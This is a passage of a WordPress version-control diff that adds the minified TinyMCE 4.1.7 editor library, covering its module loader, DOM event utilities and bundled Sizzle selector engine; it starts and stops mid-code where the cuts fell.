,"tinymce/ui/GridLayout","tinymce/ui/Iframe","tinymce/ui/Label","tinymce/ui/Toolbar","tinymce/ui/MenuBar","tinymce/ui/MenuButton","tinymce/ui/ListBox","tinymce/ui/MenuItem","tinymce/ui/Menu","tinymce/ui/Radio","tinymce/ui/ResizeHandle","tinymce/ui/Spacer","tinymce/ui/SplitButton","tinymce/ui/StackLayout","tinymce/ui/TabPanel","tinymce/ui/TextBox","tinymce/ui/Throbber"]);
+})(this);
Index: /tags/4.1.6/src/wp-includes/js/tinymce/tinymce.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/tinymce.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/tinymce.min.js	(revision 33402)
@@ -0,0 +1,11 @@
+// 4.1.7 (2014-11-27)
+!function(e,t){"use strict";function n(e,t){for(var n,r=[],i=0;i<e.length;++i){if(n=s[e[i]]||o(e[i]),!n)throw"module definition dependecy not found: "+e[i];r.push(n)}t.apply(null,r)}function r(e,r,i){if("string"!=typeof e)throw"invalid module definition, module id must be defined and be a string";if(r===t)throw"invalid module definition, dependencies must be specified";if(i===t)throw"invalid module definition, definition function must be specified";n(r,function(){s[e]=i.apply(null,arguments)})}function i(e){return!!s[e]}function o(t){for(var n=e,r=t.split(/[.\/]/),i=0;i<r.length;++i){if(!n[r[i]])return;n=n[r[i]]}return n}function a(n){for(var r=0;r<n.length;r++){for(var i=e,o=n[r],a=o.split(/[.\/]/),l=0;l<a.length-1;++l)i[a[l]]===t&&(i[a[l]]={}),i=i[a[l]];i[a[a.length-1]]=s[o]}}var s={},l="tinymce/dom/EventUtils",c="tinymce/dom/Sizzle",u="tinymce/Env",d="tinymce/util/Tools",f="tinymce/dom/DomQuery",p="tinymce/html/Styles",h="tinymce/dom/TreeWalker",m="tinymce/dom/Range",g="tinymce/html/Entities",v="tinymce/dom/StyleSheetLoader",y="tinymce/dom/DOMUtils",b="tinymce/dom/ScriptLoader",C="tinymce/AddOnManager",x="tinymce/dom/RangeUtils",w="tinymce/NodeChange",_="tinymce/html/Node",E="tinymce/html/Schema",N="tinymce/html/SaxParser",k="tinymce/html/DomParser",S="tinymce/html/Writer",T="tinymce/html/Serializer",R="tinymce/dom/Serializer",A="tinymce/dom/TridentSelection",B="tinymce/util/VK",D="tinymce/dom/ControlSelection",L="tinymce/dom/BookmarkManager",H="tinymce/dom/Selection",M="tinymce/dom/ElementUtils",P="tinymce/fmt/Preview",O="tinymce/Formatter",I="tinymce/UndoManager",F="tinymce/EnterKey",z="tinymce/ForceBlocks",W="tinymce/EditorCommands",V="tinymce/util/URI",U="tinymce/util/Class",$="tinymce/util/EventDispatcher",q="tinymce/ui/Selector",j="tinymce/ui/Collection",Y="tinymce/ui/DomUtils",K="tinymce/ui/Control",G="tinymce/ui/Factory",X="tinymce/ui/KeyboardNavigation",J="tinymce/ui/Container",Q="tinymce/ui/DragHelper",Z="tinymce/ui/Scrollable",et="tinymce/ui/Panel",tt="tinymce/ui/Movable",nt="tinymce/ui/Resizable",rt="tinymce/ui/FloatPanel",it="tinymce/ui/Window",ot="tinymce/ui/MessageBox",at="tinymce/WindowManager",st="tinymce/util/Quirks",lt="tinymce/util/Observable",ct="tinymce/EditorObservable",ut="tinymce/Shortcuts",dt="tinymce/Editor",ft="tinymce/util/I18n",pt="tinymce/FocusManager",ht="tinymce/EditorManager",mt="tinymce/LegacyInput",gt="tinymce/util/XHR",vt="tinymce/util/JSON",yt="tinymce/util/JSONRequest",bt="tinymce/util/JSONP",Ct="tinymce/util/LocalStorage",xt="tinymce/Compat",wt="tinymce/ui/Layout",_t="tinymce/ui/AbsoluteLayout",Et="tinymce/ui/Tooltip",Nt="tinymce/ui/Widget",kt="tinymce/ui/Button",St="tinymce/ui/ButtonGroup",Tt="tinymce/ui/Checkbox",Rt="tinymce/ui/ComboBox",At="tinymce/ui/ColorBox",Bt="tinymce/ui/PanelButton",Dt="tinymce/ui/ColorButton",Lt="tinymce/util/Color",Ht="tinymce/ui/ColorPicker",Mt="tinymce/ui/Path",Pt="tinymce/ui/ElementPath",Ot="tinymce/ui/FormItem",It="tinymce/ui/Form",Ft="tinymce/ui/FieldSet",zt="tinymce/ui/FilePicker",Wt="tinymce/ui/FitLayout",Vt="tinymce/ui/FlexLayout",Ut="tinymce/ui/FlowLayout",$t="tinymce/ui/FormatControls",qt="tinymce/ui/GridLayout",jt="tinymce/ui/Iframe",Yt="tinymce/ui/Label",Kt="tinymce/ui/Toolbar",Gt="tinymce/ui/MenuBar",Xt="tinymce/ui/MenuButton",Jt="tinymce/ui/ListBox",Qt="tinymce/ui/MenuItem",Zt="tinymce/ui/Menu",en="tinymce/ui/Radio",tn="tinymce/ui/ResizeHandle",nn="tinymce/ui/Spacer",rn="tinymce/ui/SplitButton",on="tinymce/ui/StackLayout",an="tinymce/ui/TabPanel",sn="tinymce/ui/TextBox",ln="tinymce/ui/Throbber";r(l,[],function(){function e(e,t,n,r){e.addEventListener?e.addEventListener(t,n,r||!1):e.attachEvent&&e.attachEvent("on"+t,n)}function t(e,t,n,r){e.removeEventListener?e.removeEventListener(t,n,r||!1):e.detachEvent&&e.detachEvent("on"+t,n)}function n(e,t){function n(){return!1}function r(){return!0}var i,o=t||{},l;for(i in e)s[i]||(o[i]=e[i]);if(o.target||(o.target=o.srcElement||document),e&&a.test(e.type)&&e.pageX===l&&e.clientX!==l){var c=o.target.ownerDocument||document,u=c.documentElement,d=c.body;o.pageX=e.clientX+(u&&u.scrollLeft||d&&d.scrollLeft||0)-(u&&u.clientLeft||d&&d.clientLeft||0),o.pageY=e.clientY+(u&&u.scrollTop||d&&d.scrollTop||0)-(u&&u.clientTop||d&&d.clientTop||0)}return o.preventDefault=function(){o.isDefaultPrevented=r,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},o.stopPropagation=function(){o.isPropagationStopped=r,e&&(e.stopPropagation?e.stopPropagation():e.cancelBubble=!0)},o.stopImmediatePropagation=function(){o.isImmediatePropagationStopped=r,o.stopPropagation()},o.isDefaultPrevented||(o.isDefaultPrevented=n,o.isPropagationStopped=n,o.isImmediatePropagationStopped=n),o}function r(n,r,i){function o(){i.domLoaded||(i.domLoaded=!0,r(c))}function a(){("complete"===l.readyState||"interactive"===l.readyState&&l.body)&&(t(l,"readystatechange",a),o())}function s(){try{l.documentElement.doScroll("left")}catch(e){return void setTimeout(s,0)}o()}var l=n.document,c={type:"ready"};return i.domLoaded?void r(c):(l.addEventListener?"complete"===l.readyState?o():e(n,"DOMContentLoaded",o):(e(l,"readystatechange",a),l.documentElement.doScroll&&n.self===n.top&&s()),void e(n,"load",o))}function i(){function i(e,t){var n,r,i,o,a=s[t];if(n=a&&a[e.type])for(r=0,i=n.length;i>r;r++)if(o=n[r],o&&o.func.call(o.scope,e)===!1&&e.preventDefault(),e.isImmediatePropagationStopped())return}var a=this,s={},l,c,u,d,f;c=o+(+new Date).toString(32),d="onmouseenter"in document.documentElement,u="onfocusin"in document.documentElement,f={mouseenter:"mouseover",mouseleave:"mouseout"},l=1,a.domLoaded=!1,a.events=s,a.bind=function(t,o,p,h){function m(e){i(n(e||_.event),g)}var g,v,y,b,C,x,w,_=window;if(t&&3!==t.nodeType&&8!==t.nodeType){for(t[c]?g=t[c]:(g=l++,t[c]=g,s[g]={}),h=h||t,o=o.split(" "),y=o.length;y--;)b=o[y],x=m,C=w=!1,"DOMContentLoaded"===b&&(b="ready"),a.domLoaded&&"ready"===b&&"complete"==t.readyState?p.call(h,n({type:b})):(d||(C=f[b],C&&(x=function(e){var t,r;if(t=e.currentTarget,r=e.relatedTarget,r&&t.contains)r=t.contains(r);else for(;r&&r!==t;)r=r.parentNode;r||(e=n(e||_.event),e.type="mouseout"===e.type?"mouseleave":"mouseenter",e.target=t,i(e,g))})),u||"focusin"!==b&&"focusout"!==b||(w=!0,C="focusin"===b?"focus":"blur",x=function(e){e=n(e||_.event),e.type="focus"===e.type?"focusin":"focusout",i(e,g)}),v=s[g][b],v?"ready"===b&&a.domLoaded?p({type:b}):v.push({func:p,scope:h}):(s[g][b]=v=[{func:p,scope:h}],v.fakeName=C,v.capture=w,v.nativeHandler=x,"ready"===b?r(t,x,a):e(t,C||b,x,w)));return t=v=0,p}},a.unbind=function(e,n,r){var i,o,l,u,d,f;if(!e||3===e.nodeType||8===e.nodeType)return a;if(i=e[c]){if(f=s[i],n){for(n=n.split(" "),l=n.length;l--;)if(d=n[l],o=f[d]){if(r)for(u=o.length;u--;)if(o[u].func===r){var p=o.nativeHandler,h=o.fakeName,m=o.capture;o=o.slice(0,u).concat(o.slice(u+1)),o.nativeHandler=p,o.fakeName=h,o.capture=m,f[d]=o}r&&0!==o.length||(delete f[d],t(e,o.fakeName||d,o.nativeHandler,o.capture))}}else{for(d in f)o=f[d],t(e,o.fakeName||d,o.nativeHandler,o.capture);f={}}for(d in f)return a;delete s[i];try{delete e[c]}catch(g){e[c]=null}}return a},a.fire=function(e,t,r){var o;if(!e||3===e.nodeType||8===e.nodeType)return a;r=n(null,r),r.type=t,r.target=e;do o=e[c],o&&i(r,o),e=e.parentNode||e.ownerDocument||e.defaultView||e.parentWindow;while(e&&!r.isPropagationStopped());return a},a.clean=function(e){var t,n,r=a.unbind;if(!e||3===e.nodeType||8===e.nodeType)return a;if(e[c]&&r(e),e.getElementsByTagName||(e=e.document),e&&e.getElementsByTagName)for(r(e),n=e.getElementsByTagName("*"),t=n.length;t--;)e=n[t],e[c]&&r(e);return a},a.destroy=function(){s={}},a.cancel=function(e){return e&&(e.preventDefault(),e.stopImmediatePropagation()),!1}}var o="mce-data-",a=/^(?:mouse|contextmenu)|click/,s={keyLocation:1,layerX:1,layerY:1,returnValue:1};return i.Event=new i,i.Event.bind(window,"ready",function(){}),i}),r(c,[],function(){function e(e,t,n,r){var i,o,a,s,l,c,d,p,h,m;if((t?t.ownerDocument||t:z)!==D&&B(t),t=t||D,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(H&&!r){if(i=vt.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&I(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return Z.apply(n,t.getElementsByTagName(e)),n;if((a=i[3])&&x.getElementsByClassName)return Z.apply(n,t.getElementsByClassName(a)),n}if(x.qsa&&(!M||!M.test(e))){if(p=d=F,h=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(c=N(e),(d=t.getAttribute("id"))?p=d.replace(bt,"\\$&"):t.setAttribute("id",p),p="[id='"+p+"'] ",l=c.length;l--;)c[l]=p+f(c[l]);h=yt.test(e)&&u(t.parentNode)||t,m=c.join(",")}if(m)try{return Z.apply(n,h.querySelectorAll(m)),n}catch(g){}finally{d||t.removeAttribute("id")}}}return S(e.replace(st,"$1"),t,n,r)}function n(){function e(n,r){return t.push(n+" ")>w.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[F]=!0,e}function i(e){var t=D.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=e.length;r--;)w.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||K)-(~e.sourceIndex||K);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function l(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function c(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function u(e){return e&&typeof e.getElementsByTagName!==Y&&e}function d(){}function f(e){for(var t=0,n=e.length,r="";n>t;t++)r+=e[t].value;return r}function p(e,t,n){var r=t.dir,i=n&&"parentNode"===r,o=V++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||i)return e(t,n,o)}:function(t,n,a){var s,l,c=[W,o];if(a){for(;t=t[r];)if((1===t.nodeType||i)&&e(t,n,a))return!0}else for(;t=t[r];)if(1===t.nodeType||i){if(l=t[F]||(t[F]={}),(s=l[r])&&s[0]===W&&s[1]===o)return c[2]=s[2];if(l[r]=c,c[2]=e(t,n,a))return!0}}}function h(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function m(t,n,r){for(var i=0,o=n.length;o>i;i++)e(t,n[i],r);return r}function g(e,t,n,r,i){for(var o,a=[],s=0,l=e.length,c=null!=t;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),c&&t.push(s));return a}function v(e,t,n,i,o,a){return i&&!i[F]&&(i=v(i)),o&&!o[F]&&(o=v(o,a)),r(function(r,a,s,l){var c,u,d,f=[],p=[],h=a.length,v=r||m(t||"*",s.nodeType?[s]:s,[]),y=!e||!r&&t?v:g(v,f,e,s,l),b=n?o||(r?e:h||i)?[]:a:y;if(n&&n(y,b,s,l),i)for(c=g(b,p),i(c,[],s,l),u=c.length;u--;)(d=c[u])&&(b[p[u]]=!(y[p[u]]=d));if(r){if(o||e){if(o){for(c=[],u=b.length;u--;)(d=b[u])&&c.push(y[u]=d);o(null,b=[],c,l)}for(u=b.length;u--;)(d=b[u])&&(c=o?tt.call(r,d):f[u])>-1&&(r[c]=!(a[c]=d))}}else b=g(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Z.apply(a,b)})}function y(e){for(var t,n,r,i=e.length,o=w.relative[e[0].type],a=o||w.relative[" "],s=o?1:0,l=p(function(e){return e===t},a,!0),c=p(function(e){return tt.call(t,e)>-1},a,!0),u=[function(e,n,r){return!o&&(r||n!==T)||((t=n).nodeType?l(e,n,r):c(e,n,r))}];i>s;s++)if(n=w.relative[e[s].type])u=[p(h(u),n)];else{if(n=w.filter[e[s].type].apply(null,e[s].matches),n[F]){for(r=++s;i>r&&!w.relative[e[r].type];r++);return v(s>1&&h(u),s>1&&f(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(st,"$1"),n,r>s&&y(e.slice(s,r)),i>r&&y(e=e.slice(r)),i>r&&f(e))}u.push(n)}return h(u)}function b(t,n){var i=n.length>0,o=t.length>0,a=function(r,a,s,l,c){var u,d,f,p=0,h="0",m=r&&[],v=[],y=T,b=r||o&&w.find.TAG("*",c),C=W+=null==y?1:Math.random()||.1,x=b.length;for(c&&(T=a!==D&&a);h!==x&&null!=(u=b[h]);h++){if(o&&u){for(d=0;f=t[d++];)if(f(u,a,s)){l.push(u);break}c&&(W=C)}i&&((u=!f&&u)&&p--,r&&m.push(u))}if(p+=h,i&&h!==p){for(d=0;f=n[d++];)f(m,v,a,s);if(r){if(p>0)for(;h--;)m[h]||v[h]||(v[h]=J.call(l));v=g(v)}Z.apply(l,v),c&&!r&&v.length>0&&p+n.length>1&&e.uniqueSort(l)}return c&&(W=C,T=y),m};return i?r(a):a}var C,x,w,_,E,N,k,S,T,R,A,B,D,L,H,M,P,O,I,F="sizzle"+-new Date,z=window.document,W=0,V=0,U=n(),$=n(),q=n(),j=function(e,t){return e===t&&(A=!0),0},Y=typeof t,K=1<<31,G={}.hasOwnProperty,X=[],J=X.pop,Q=X.push,Z=X.push,et=X.slice,tt=X.indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(this[t]===e)return t;return-1},nt="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",rt="[\\x20\\t\\r\\n\\f]",it="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",ot="\\["+rt+"*("+it+")(?:"+rt+"*([*^$|!~]?=)"+rt+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+it+"))|)"+rt+"*\\]",at=":("+it+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+ot+")*)|.*)\\)|)",st=new RegExp("^"+rt+"+|((?:^|[^\\\\])(?:\\\\.)*)"+rt+"+$","g"),lt=new RegExp("^"+rt+"*,"+rt+"*"),ct=new RegExp("^"+rt+"*([>+~]|"+rt+")"+rt+"*"),ut=new RegExp("="+rt+"*([^\\]'\"]*?)"+rt+"*\\]","g"),dt=new RegExp(at),ft=new RegExp("^"+it+"$"),pt={ID:new RegExp("^#("+it+")"),CLASS:new RegExp("^\\.("+it+")"),TAG:new RegExp("^("+it+"|[*])"),ATTR:new RegExp("^"+ot),PSEUDO:new RegExp("^"+at),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+rt+"*(even|odd|(([+-]|)(\\d*)n|)"+rt+"*(?:([+-]|)"+rt+"*(\\d+)|))"+rt+"*\\)|)","i"),bool:new RegExp("^(?:"+nt+")$","i"),needsContext:new RegExp("^"+rt+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+rt+"*((?:-\\d)?\\d*)"+rt+"*\\)|)(?=[^-]|$)","i")},ht=/^(?:input|select|textarea|button)$/i,mt=/^h\d$/i,gt=/^[^{]+\{\s*\[native \w/,vt=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,yt=/[+~]/,bt=/'|\\/g,Ct=new RegExp("\\\\([\\da-f]{1,6}"+rt+"?|("+rt+")|.)","ig"),xt=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{Z.apply(X=et.call(z.childNodes),z.childNodes),X[z.childNodes.length].nodeType}catch(wt){Z={apply:X.length?function(e,t){Q.apply(e,et.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}x=e.support={},E=e.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},B=e.setDocument=function(e){var t,n=e?e.ownerDocument||e:z,r=n.defaultView;return n!==D&&9===n.nodeType&&n.documentElement?(D=n,L=n.documentElement,H=!E(n),r&&r!==r.top&&(r.addEventListener?r.addEventListener("unload",function(){B()},!1):r.attachEvent&&r.attachEvent("onunload",function(){B()})),x.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),x.getElementsByTagName=i(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),x.getElementsByClassName=gt.test(n.getElementsByClassName),x.getById=i(function(e){return L.appendChild(e).id=F,!n.getElementsByName||!n.getElementsByName(F).length}),x.getById?(w.find.ID=function(e,t){if(typeof t.getElementById!==Y&&H){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},w.filter.ID=function(e){var t=e.replace(Ct,xt);return function(e){return e.getAttribute("id")===t}}):(delete w.find.ID,w.filter.ID=function(e){var t=e.replace(Ct,xt);return function(e){var n=typeof e.getAttributeNode!==Y&&e.getAttributeNode("id");return n&&n.value===t}}),w.find.TAG=x.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==Y?t.getElementsByTagName(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},w.find.CLASS=x.getElementsByClassName&&function(e,t){return H?t.getElementsByClassName(e):void 0},P=[],M=[],(x.qsa=gt.test(n.querySelectorAll))&&(i(function(e){e.innerHTML="<select msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&M.push("[*^$]="+rt+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||M.push("\\["+rt+"*(?:value|"+nt+")"),e.querySelectorAll(":checked").length||M.push(":checked")}),i(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&M.push("name"+rt+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||M.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),M.push(",.*:")})),(x.matchesSelector=gt.test(O=L.matches||L.webkitMatchesSelector||L.mozMatchesSelector||L.oMatchesSelector||L.msMatchesSelector))&&i(function(e){x.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),P.push("!=",at)}),M=M.length&&new RegExp(M.join("|")),P=P.length&&new RegExp(P.join("|")),t=gt.test(L.compareDocumentPosition),I=t||gt.test(L.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return A=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r?r:(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&r||!x.sortDetached&&t.compareDocumentPosition(e)===r?e===n||e.ownerDocument===z&&I(z,e)?-1:t===n||t.ownerDocument===z&&I(z,t)?1:R?tt.call(R,e)-tt.call(R,t):0:4&r?-1:1)}:function(e,t){if(e===t)return A=!0,0;var r,i=0,o=e.parentNode,s=t.parentNode,l=[e],c=[t];if(!o||!s)return e===n?-1:t===n?1:o?-1:s?1:R?tt.call(R,e)-tt.call(R,t):0;if(o===s)return a(e,t);for(r=e;r=r.parentNode;)l.unshift(r);for(r=t;r=r.parentNode;)c.unshift(r);for(;l[i]===c[i];)i++;return i?a(l[i],c[i]):l[i]===z?-1:c[i]===z?1:0},n):D},e.matches=function(t,n){return e(t,null,null,n)},e.matchesSelector=function(t,n){if((t.ownerDocument||t)!==D&&B(t),n=n.replace(ut,"='$1']"),!(!x.matchesSelector||!H||P&&P.test(n)||M&&M.test(n)))try{var r=O.call(t,n);if(r||x.disconnectedMatch||t.document&&11!==t.document.nodeType)return r}catch(i){}return e(n,D,null,[t]).length>0},e.contains=function(e,t){return(e.ownerDocument||e)!==D&&B(e),I(e,t)},e.attr=function(e,n){(e.ownerDocument||e)!==D&&B(e);var r=w.attrHandle[n.toLowerCase()],i=r&&G.call(w.attrHandle,n.toLowerCase())?r(e,n,!H):t;return i!==t?i:x.attributes||!H?e.getAttribute(n):(i=e.getAttributeNode(n))&&i.specified?i.value:null},e.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},e.uniqueSort=function(e){var t,n=[],r=0,i=0;if(A=!x.detectDuplicates,R=!x.sortStable&&e.slice(0),e.sort(j),A){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return R=null,e},_=e.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=_(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=_(t);return n},w=e.selectors={cacheLength:50,createPseudo:r,match:pt,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Ct,xt),e[3]=(e[3]||e[4]||e[5]||"").replace(Ct,xt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(t){return t[1]=t[1].toLowerCase(),"nth"===t[1].slice(0,3)?(t[3]||e.error(t[0]),t[4]=+(t[4]?t[5]+(t[6]||1):2*("even"===t[3]||"odd"===t[3])),t[5]=+(t[7]+t[8]||"odd"===t[3])):t[3]&&e.error(t[0]),t},PSEUDO:function(e){var t,n=!e[6]&&e[2];return pt.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&dt.test(n)&&(t=N(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Ct,xt).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=U[e+" "];return t||(t=new RegExp("(^|"+rt+")"+e+"("+rt+"|$)"))&&U(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==Y&&e.getAttribute("class")||"")})},ATTR:function(t,n,r){return function(i){var o=e.attr(i,t);return null==o?"!="===n:n?(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o+" ").indexOf(r)>-1:"|="===n?o===r||o.slice(0,r.length+1)===r+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var c,u,d,f,p,h,m=o!==a?"nextSibling":"previousSibling",g=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!l&&!s;if(g){if(o){for(;m;){for(d=t;d=d[m];)if(s?d.nodeName.toLowerCase()===v:1===d.nodeType)return!1;h=m="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?g.firstChild:g.lastChild],a&&y){for(u=g[F]||(g[F]={}),c=u[e]||[],p=c[0]===W&&c[1],f=c[0]===W&&c[2],d=p&&g.childNodes[p];d=++p&&d&&d[m]||(f=p=0)||h.pop();)if(1===d.nodeType&&++f&&d===t){u[e]=[W,p,f];break}}else if(y&&(c=(t[F]||(t[F]={}))[e])&&c[0]===W)f=c[1];else for(;(d=++p&&d&&d[m]||(f=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==v:1!==d.nodeType)||!++f||(y&&((d[F]||(d[F]={}))[e]=[W,f]),d!==t)););return f-=i,f===r||f%r===0&&f/r>=0}}},PSEUDO:function(t,n){var i,o=w.pseudos[t]||w.setFilters[t.toLowerCase()]||e.error("unsupported pseudo: "+t);return o[F]?o(n):o.length>1?(i=[t,t,"",n],w.setFilters.hasOwnProperty(t.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=tt.call(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=k(e.replace(st,"$1"));return i[F]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),!n.pop()}}),has:r(function(t){return function(n){return e(t,n).length>0}}),contains:r(function(e){return e=e.replace(Ct,xt),function(t){return(t.textContent||t.innerText||_(t)).indexOf(e)>-1}}),lang:r(function(t){return ft.test(t||"")||e.error("unsupported lang: "+t),t=t.replace(Ct,xt).toLowerCase(),function(e){var n;do if(n=H?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return n=n.toLowerCase(),n===t||0===n.indexOf(t+"-");while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=window.location&&window.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===L},focus:function(e){return e===D.activeElement&&(!D.hasFocus||D.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!w.pseudos.empty(e)},header:function(e){return mt.test(e.nodeName)},input:function(e){return ht.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:c(function(){return[0]}),last:c(function(e,t){return[t-1]}),eq:c(function(e,t,n){return[0>n?n+t:n]}),even:c(function(e,t){for(var n=0;t>n;n+=2)e.push(n);return e}),odd:c(function(e,t){for(var n=1;t>n;n+=2)e.push(n);return e}),lt:c(function(e,t,n){for(var r=0>n?n+t:n;--r>=0;)e.push(r);return e}),gt:c(function(e,t,n){for(var r=0>n?n+t:n;++r<t;)e.push(r);return e})}},w.pseudos.nth=w.pseudos.eq;for(C in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})w.pseudos[C]=s(C);for(C in{submit:!0,reset:!0})w.pseudos[C]=l(C);return d.prototype=w.filters=w.pseudos,w.setFilters=new d,N=e.tokenize=function(t,n){var r,i,o,a,s,l,c,u=$[t+" "];if(u)return n?0:u.slice(0);for(s=t,l=[],c=w.preFilter;s;){(!r||(i=lt.exec(s)))&&(i&&(s=s.slice(i[0].length)||s),l.push(o=[])),r=!1,(i=ct.exec(s))&&(r=i.shift(),o.push({value:r,type:i[0].replace(st," ")}),s=s.slice(r.length));for(a in w.filter)!(i=pt[a].exec(s))||c[a]&&!(i=c[a](i))||(r=i.shift(),o.push({value:r,type:a,matches:i}),s=s.slice(r.length));if(!r)break}return n?s.length:s?e.error(t):$(t,l).slice(0)},k=e.compile=function(e,t){var n,r=[],i=[],o=q[e+" "];if(!o){for(t||(t=N(e)),n=t.length;n--;)o=y(t[n]),o[F]?r.push(o):i.push(o);o=q(e,b(i,r)),o.selector=e}return o},S=e.select=function(e,t,n,r){var 